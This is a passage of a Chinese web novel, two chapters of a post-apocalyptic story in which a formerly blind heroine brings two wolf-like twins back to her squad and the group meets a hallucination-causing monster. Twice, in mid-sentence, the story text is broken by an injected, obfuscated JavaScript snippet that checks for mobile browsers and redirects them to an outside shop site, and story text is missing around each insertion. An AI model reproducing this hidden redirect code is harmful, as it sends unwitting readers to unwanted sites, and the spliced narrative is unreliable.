这对兄弟身材高大,肌肉发达,头发齐肩像狼尾,眼睛是特殊的黄铜色——和狼如出一辙,浑身笼罩着兽性——哥哥体现出的兽性更多,而弟弟举止沉稳,人味更重。 刚在心里对弟弟做出评价,前面两人步伐停了下来——准确的说,是弟弟停了下来。 林呓也停住脚步,和他们保持距离,神色戒备。 只见弟弟抬起右手手臂,露出伤口,微微侧头,黄铜色的眼睛在夜色下闪烁,像一头蛰伏的狼,正晦暗地盯着林呓。 林呓被这森冷的目光盯得浑身僵硬,心脏急速舒张收缩,连呼吸都越来越粗重,却无论如何移不开眼睛。 眼睁睁看着他伸出舌尖,在伤口上舔了一下。 - “都去这么久了,我们还是去找找吧。”卫淼淼急得团团转。 面前的火堆快熄灭了,陶振冷脸坐起,骂了一声:“急什么?真是成事不足败事有余,捡个柴都能磨蹭这么长时间。” 卫淼淼等不了了,把陶振的命令抛在脑后,拉着虞陈一起去找。 还没走远,黑暗里忽然显现两个身影。 虞陈立即举刀挡在前面。 “是我。”林呓从阴影里走出来。 “林呓!”卫淼淼冲过去,拉着她前后看了两圈,“你没事吧?” 林呓摇了摇头。 严义鸣瞬移过来,带起一阵风,防备地看向林呓身后跟着的两个男人,陶振更是用异能包裹住拳头冲了过来:“什么情况?他们是谁?” “捡到的,”林呓扔下手里的柴,“应该是任务里所说的幸存人员。” 小队四人神色各异,彼此对视一眼,都有些惊诧。 就这么……捡到了? 陶振怀疑地打量面前两个外貌相似的男人,他们长相凌厉,很有压迫感,身高有一米九,一个在好奇地四处张望,一个气质内敛,正看着他们。 他们的眼睛更是诡异…… 陶振忽然冷笑一声,看向林呓:“任务?幸存人员?根本是送你进来寻亲的吧。” 林呓拧起眉,不明白他的意思。 卫淼淼戳戳她,小声说:“你们的眼睛好像,像琥珀,不过他俩的眼睛比你的要亮……咦,林呓,你眼睛好了?” 卫淼淼惊讶地张大嘴巴,林呓的眼睛原本是雾茫茫的琥珀色,现在仿佛晨雾消散,阳光洒进来了一般,变得又亮又美。 林呓一愣,摸上眉眼,随即看向她“捡来”的两个男人。 弟弟的视线不知落在她身上多久了,微微蹙眉,同样带着探寻。 他们眼睛都是明亮的黄铜色,自己竟然也是? 氛围变得有些奇怪。 所有人都在看她。 林呓不自在地摸了下脖子。 卫淼淼看见她的伤口,倒抽一口凉气:“你受伤了!这伤口是狼爪抓的?” 林呓被卫淼淼拉去消毒包扎,陶振、严义鸣和虞陈则留在原地盘问双胞胎兄弟,哥哥畏缩在弟弟身后,一直由弟弟问答问题。 说是盘问,场面却有些滑稽——两兄弟身量高,气质浓烈压迫,小队三人都是训练有素的异能者,然而在他俩面前,无论是气势还是力量感都差了一大截。 “还有哪里受伤吗?”卫淼淼用纱布将林呓受伤的手臂仔细缠起来,反手一翻使用异能,将手上沾到的血迹冲进土壤。 林呓活动了下手臂,转转肩胛骨,“后背破了一片,肩膀可能也需要处理一下。” “……” 卫淼淼盯她的模样让林呓心虚得一哆嗦,脑海里闪过一个念头——像小时候做了坏事,妈妈看她的眼神,生气、无奈、又心疼。 林呓感到茫然,因为脑海里没有这个角色的位置。 卫淼淼努努嘴,去背包里找出一条急救毛毯,一转身看见陶振正朝林呓的方向走,于是急忙抱着毯子过去。 她慢了一步,陶振已经居高临下地站在林呓面前,嘲讽道:“看看现在是谁在用纱布?哦,原来是不走正门的瞎子。你是东区派人送进来的吧,你身上的气息真是肮脏。” 卫淼淼很生气,站出来维护林呓:“她才不是瞎子!出任务受伤怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547419|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就算死了、被咬变成丧尸都很正常,林呓她和我们一样是预备小队的一员,你为什么这么针对她?” 陶振扫了眼愤慨的卫淼淼,语气鄙夷:“小队的一员?你拿她当兄弟姐妹,人家未必把你看作人,别傻了。” 卫淼淼气得脸通红。 “蠢货。” 两人一怔,同时循声看去。 “你说什么?”陶振脸色难看。 林呓坐在树下,姿态散漫,受伤的手臂搭在膝盖上,抬眉道:“说你蠢。左一个走后门,右一个关系户,如果我的后台真那么硬,你觉得自己有机会在我面前放肆吗。” 陶振胸口剧烈起伏,眼里的凶光几乎要溢出来,像是要把林呓生吞活剥了。就在卫淼淼以为他要动手的时候,陶振居然走开了,丢下一句:“那两个人既然是你捡来的,就由你负责看着。” 虞陈举着急救毛毯围成一圈,让林呓好站在里面,卫淼淼帮她清理背上的伤口,眉头紧皱:“到底怎么弄的,这么多伤。” 后背血肉模糊,肩膀也有几个触目惊心的血洞。 “遇见了狼,跑的时候摔了。”林呓漫不经心地说。 等卫淼淼全处理好了,林呓套上虞陈脱给她的外套,对她们道了谢。 夜深了,几人商量了一下,陶振和严义鸣守下半夜,三个女生守上半夜,卫淼淼异能消耗有些大,林呓和虞陈让她去睡觉,两人一北一南分别守着。 双胞胎远离火堆,坐在一棵树下。哥哥似乎有些怕火,躲在弟弟后面,歪头蹭他的肩膀,却又好奇忍不住张望。 寂静森幽,虫鸣和草动被葱郁的山林吞没,除了虞陈,所有人都睡熟了——林呓听得见他们的呼吸。 她翻身下树,感觉自从看到的景象变了,整个人也变轻盈敏捷了。 弟弟目视她拎着急救包走来,情绪始终没什么起伏,哥哥好像知道她是来帮弟弟包扎的,只是恶狠狠地盯她,并没有闹。 林呓还没坐下,弟弟就自觉地伸出了受伤的手臂。 林呓:“……” 三人无言。 两人都盯着她。 哥哥怕“坏姑娘”欺负弟弟,眼神警惕又凶狠。弟弟的视线晦暗不明,冷淡地看她给伤口清洗、消毒、包扎。 一想到自己前不久一边被他这样盯着,一边看他神色莫辨地舔伤口,林呓后脊就一阵酥麻。 还真是……狼的习性。 “你没告诉他们。”弟弟的嗓音依旧冷冽,但比和陶振几人交流时多了些温度。 “是。”林呓知道他指的是什么,看也没看他就回答了,低头整理急救包。 弟弟拉起裤子露出小腿,伸向前,那里也有伤口。 “为什么。” “……”林呓又打开急救包。 “你有你的秘密,我也有我的秘密,不想告诉就不告诉喽,就这么简单。”林呓俯身看他小腿,那里的伤口和手臂的很像,都是爪印,但更深,皮肉都翻出来了。 联想到之前哥哥说“都怪我”,她猜测是这个熊孩子抓的。 哥哥外表成熟,心智却不健全,仿佛几岁孩童。 相比之下,弟弟则显得稳重又阴郁。 有关两人的一切无不透着古怪,林呓却并不在意,从某种程度来说她也是个怪人——亦或者,他们都不奇怪,只是林呓不记得这个世界的规则。 让她在意的是,自己的变化与这两人有关,他们的秘密绑定在了一起,她需要花时间弄清楚。所以,在分清敌友之前,她最好按兵不动。 林呓说话的温热气息喷洒在灼痛的伤口上,她低头缠纱布,错过了他眼中转瞬即逝的一抹淡蓝。 “这回没伤口了吧?”林呓蹲着,挑眉问他。 弟弟轻轻摇头,眼睛依旧直勾勾地看她。 林呓受不了这种眼神,太专注了,像狼盯准猎物就不死不休。 并且,一靠近他心跳就莫名的鼓噪,他的气息像无形的触手拥裹着她,胸腔里也挤满他的味道,似乎和他的呼吸缠绕吞吐在一起。 林呓垂眼避开他的目光,站起来,后退一步打算离开。 “你们休息吧,天亮就下山。” 弟弟叫住她。 林呓停下,侧头—— 在圆月的照耀下,她的瞳孔宛如金黄色。 “凌翊,”他说,“我的名字。” 14. 末世盲女在线御兽(五) 凌翊说山里没有其他人了,他和哥哥凌旭是猎户家的孩子,两年前父亲下山采买物资遇到了丧尸爆发再也没有回来,他们一直躲在山里靠打猎充饥,彼此相依为命。 既完成任务找到了幸存人员,还额外杀死了一群二阶变异丧尸收获了满满一盒晶核,小队几人都很高兴,尤其是卫淼淼,说回去一定能转正,以后待遇会越来越好。 简单补充了些水粮,几人准备下山。 出发前,陶振本想让严义鸣看管两兄弟,但这两人奇怪得很,哥哥去哪都贴着弟弟,动作亲昵时不时就歪头蹭蹭,弟弟呢,对谁都冷漠,唯独对林呓有好脸色。 于是,捡到两人的林呓被迫负责到底,装上了两条尾巴。 天蒙蒙亮,山里起了白雾,没有消散的迹象,气温比夜里还要凉,呵气成冰。 林呓把外套还给虞陈,换上自己破破烂烂的衣服,冷风和寒气顺着洞钻进来,所到之处惊起一片鸡皮疙瘩,手心也冒出冷汗,擦掉还会再流,像一张冰冻狗皮膏药覆在皮肤表面。 由于大雾,队伍行进很慢,一面辨认方向一面谨防有漏网的丧尸袭击。大家都咬紧牙关,硬生生憋住哆嗦声,生怕盖住可疑的动静。 林呓的五感能力今非昔比,仿佛她为中心的方圆百里布满了无形的蛛丝,她拥有绝对的掌控和统治,再微末的变化都能立即引起她的注意,所以几乎是逼近的瞬间,她就察觉到了。 ——凌翊正从背后靠近她。 林呓面容平静,似乎毫无察觉,实际身体已本能地做出防御姿态,肩背微拱,腰腹绷紧,如拉满的弓蓄势待发。 他的气息无孔不入,霸道猛烈,却并无恶意,相反,竟有几分保护的意味。 源源不断的热气烘着,林呓不由自主放松下来,余光观察他。 凌旭被他牵着,明明两人身高相差无几,却显得他更加高大压迫。他对分寸的把控恰到好处,与她步伐一致同频前进,始终隔着半臂距离,却不会触碰到她。 他们穿得很少,上衣是褶皱横生洗得发白的灰卫衣,裤子只齐到脚踝,脚上穿的是手工编织的草鞋,脚面上凸起的青筋几乎和草绳融为一体。 如此清凉的穿着,却是个“暖宝宝”——因为他的靠近,林呓感觉温暖许多,冰冷僵硬的身体开始消融回温。 陶振用异能包裹全身皮肤用以保暖,脸色都还有些青白,一向沉默坚强的虞陈也不经意露出过极小的吸气声,这俩人却丝毫不受影响,面色红润,体温滚热。 在山里住了太久,习惯了这里的环境? 还是他们保留了狼的特质,耐寒抗冻? 算了,这个千奇百怪的世界发什么疯都正常。 林呓不去深想,心安理得地朝他身边靠了靠。 …… 第三次看见树上的记号,林呓感到毛骨悚然。第一次疑似打圈的时候,她就一路在树上做了标记,不知从什么时候开始,他们就一直在鬼打墙。 视线越来越模糊,从原来的十米缩减到只能勉强看见周围。这片白雾仿佛在有意识地收拢,想一点一点将他们吞噬。 原始而又强烈的恐惧疯狂滋生,所有人都端紧枪,谨慎地踱步前进。 “操!”陶振甩了甩指南针,“这玩意坏了?怎么走不出去啊?!” 严义鸣做了个停止的手势,回头清点人数:“这雾不对劲,我们最好原地休整,等雾散了再走。” 卫淼淼搓搓胳膊,嘴唇冻得乌紫:“太邪门了,怎么会这么冷……” 多亏凌翊这个人形小太阳,林呓的体温维持在正常水平。她环视一圈,发现大家脸色都冻得发青,如果此时遇到危险,小队的作战能力必将大打折扣。 正琢磨着要不要让他站到中间让大家围着暖一暖,异像发生了。 白雾以肉眼可见的速度消散,头顶倏的一暖——阳光明媚,普照大地。 “诶?”卫淼淼几人同时惊讶地抬头。 雾气散尽的同时,林呓鼻端闻到了一股腐臭味,还没来得及侦察四周,胳膊被拽了一下,凌翊把她拉到身边。 “干什么?”林呓不明所以。 凌翊目光朝下。 林呓顺着看过去,待看清地上的东西顿时心脏一紧。 森森白骨横七竖八躺了一地,干枯深红的土壤散发着异常腥湿的臭味,周围一圈的树木有深浅不一被破坏的痕迹,一些高处的枝叶是诡异的暗红色,密密麻麻的白蛆在上面蠕动,其中一棵树的树干上有弯刀深嵌进去的伤口——是之前迎战丧尸时虞陈上的那棵树! 丧尸的腐血烂肉不翼而飞,只残留白骨,他们正站在尸圈里! “后退!”林呓大喝一声。 几人正在仰头痴迷地汲取阳光的热量,冷不丁被吓得一抖,陡然清醒后退几步。 严义鸣最先反应过来:“雾气有毒,会让我们降低警惕失去防备。” “铮!” 虞陈操控飞刀在半空绕悬,锋利的刀光将七人包围在圈内。 所有人都举起枪进入警戒状态。 然而白雾散去之后,并无反常。 只是树林静得古怪。风,鸟叫虫鸣,甚至于空气的流动,所有自然的声音都消失了。 向外感知的蛛丝并没有失效,正相反,每一根蛛丝都在剧烈颤抖,向林呓传达它们的恐惧。 周围有数不清的视线在盯着他们! 她感应良久,才艰难开口:“我们……被包围了。”精神受到影响,血液冲上头脑一阵晕胀嗡鸣,喉咙里反酸,恶心得厉害。 目之所及除了树还是树,能被什么包围? 可无人有异议。 惊惧、战栗、焦灼、微弱却清晰的心跳、汗毛倒竖的颗粒感……他们都感受到了。 死亡在降临。 仿佛一个巨大的玻璃罩,他们被罩在里面,寒冷,邪恶,无形的物质裹挟着、注视着,就快要逼迫上来! 未知的威胁令所有人的心高高悬起。 陶振身上的能量流动达到前所未有的强度,一滴冷汗从额头上流下来,哑声命令道:“围成圈,保护普通人员。” 五人快速聚拢成圈,将凌翊和凌旭保护在身后。 冰凉的后背贴到一片热,林呓身体一顿,意识到背后站的人是凌翊,他的鼻息打在耳边,像浪花一下一下有节奏地拍击海岸,令她慢慢冷静下来。 林呓神色冷凝,用双眼快速搜索树林,不放过任何蛛丝马迹。 绿色的草树,棕色的土壤和树干……绿色、绿色、绿色绿色绿色!棕色棕色棕色! 除了这些她什么都看不见!那该死的被注视感和包裹感到底从哪里来! 这林子是活的不成?! 不。 她看见了。 远处幽深的树林黑洞洞的,宛如深渊巨口,有一团模糊的东西正在走出来。 那是……一朵花。 它好美,花盘如荷叶般硕大,颜色血红鲜艳,五片巨大的花瓣向外翻折,上面长满星星点点黄油色的不规则斑点,这些斑点在巨型花瓣的映衬下显得小巧可爱,让人情不自禁想舔一口。 嘶啊——它浑身散发着迷人的魅力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627999|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身? 是了,它的四肢修长,肌肉线条优美流畅,躯体健壮,皮肤粗糙,呈现出不太纯正古铜色,又更像是棕褐色。 比起身体和花瓣,它的脸更加奇特。 它大概是雄性,外表坚硬,脸庞一圈长满了密集的毛发和胡须。它不懂得保养也不在意形象,皱纹形成了沟壑,使得脸盘凹陷深洼,尖利而紧密的牙齿填满其中。 完整看下来,还是它娇艳的花朵最赏心悦目,味道也很诱惑。 林呓深深嗅闻了两下,然后朝它走过去。 刀光连成线,虞陈的异能似乎失控了,划破空气爆出一串尖锐的哨音。 林呓却恍若未闻,眼里只有那朵美丽血红的花。 刀刃堪堪擦着脖颈而过,林呓的脚步还未停下! 面颊闪过一道风,身后伸来的一只手扼住她的脖子粗暴地将她转了过来——凌翊用两根手指捏住她的下巴,迫使她看向自己,黄铜色的眼睛闪着微光,俯身在她耳边说:“别看。” 低冷的嗓音冲散了脑海里危险致命的画面,林呓眨了两下眼睛,瞳孔慢慢聚焦,鼻尖嗅到血腥味,她低头寻找来源,发现是凌翊的手背被划伤了。 她怔住,后知后觉发生了什么。 刚刚的一切是……幻像? 见她恢复了些许神智,凌翊松开她,另一只手的拇指毫不在意地抹去手背上的血。 他捻了捻,垂眼看了片刻,竟然将指腹按在她的唇上,然后抵了进去。 舌尖尝到血腥味,林呓完全清醒了,眼睛睁大,立即吐出手指,同时抬膝攻向他的脆弱部位。 可凌翊动作更迅速,精准地夹住了她的腿!力量大到她不能撼动分毫,抽不出也进不了。 林呓愤怒地瞪着他。 她的嘴唇被鲜血浸染得殷红,脸颊也因气愤和激烈的动作漫上绯色。凌翊从始至终都很平静,看着她的眼神只有探究,仿佛在看实验室里的小白鼠。 林呓双手被他反扣在背后,以金鸡独立的姿势被他钳制,挣扎的摩擦让她清楚感受到他大腿蓬勃的肌肉。 左右看,小队几人神情安详,仿佛沉入了美梦,一如她方才的状态。而凌旭这熊孩子竟然抱着手在看热闹,还冲她做了个鬼脸。 这两个白眼狼和黑暗里的怪物是一伙的?目的是把他们全都吃掉?! “你到底想做什么!”林呓厉声质问他。 凌翊眼中依旧只有探究,忽而,他瞳孔轻缩,接着抬起伤手遮住她的眼睛。 鲜血顺着手背流到了她脸上,滚热,酥痒,林呓忍不住缩了下脖子。 “睁眼。” 凌翊离开了她。 阴影散去,一滴鲜血从脸颊滴落到地上,带走了林呓的光明——她如他所愿睁开眼,眼前又变成了怪诞的红热成像。 “!!” 怎么会……为什么? 凌翊居高临下地俯视她,身体里充满了流动的、活跃的亮红色,和之前看到的所有人都不同,包括她自己。 眼睛,四面八方都有眼睛。 在注视她!在审判她! 林呓的意识越来越模糊,耳边出现了嗡嗡的轰鸣,每一个细胞都饱受煎熬,皮肤下的血液在灼烧,她快要蒸发了! 她咬紧嘴唇让自己清醒,不留神又舔到了凌翊的血,可这一次血是醇香的,像浆果的汁液。 有什么东西悄无声息地在改变。 凌翊一直在看着她。 腹部的抽搐过了许久才平息,林呓低头看向双手。 她变成红色了。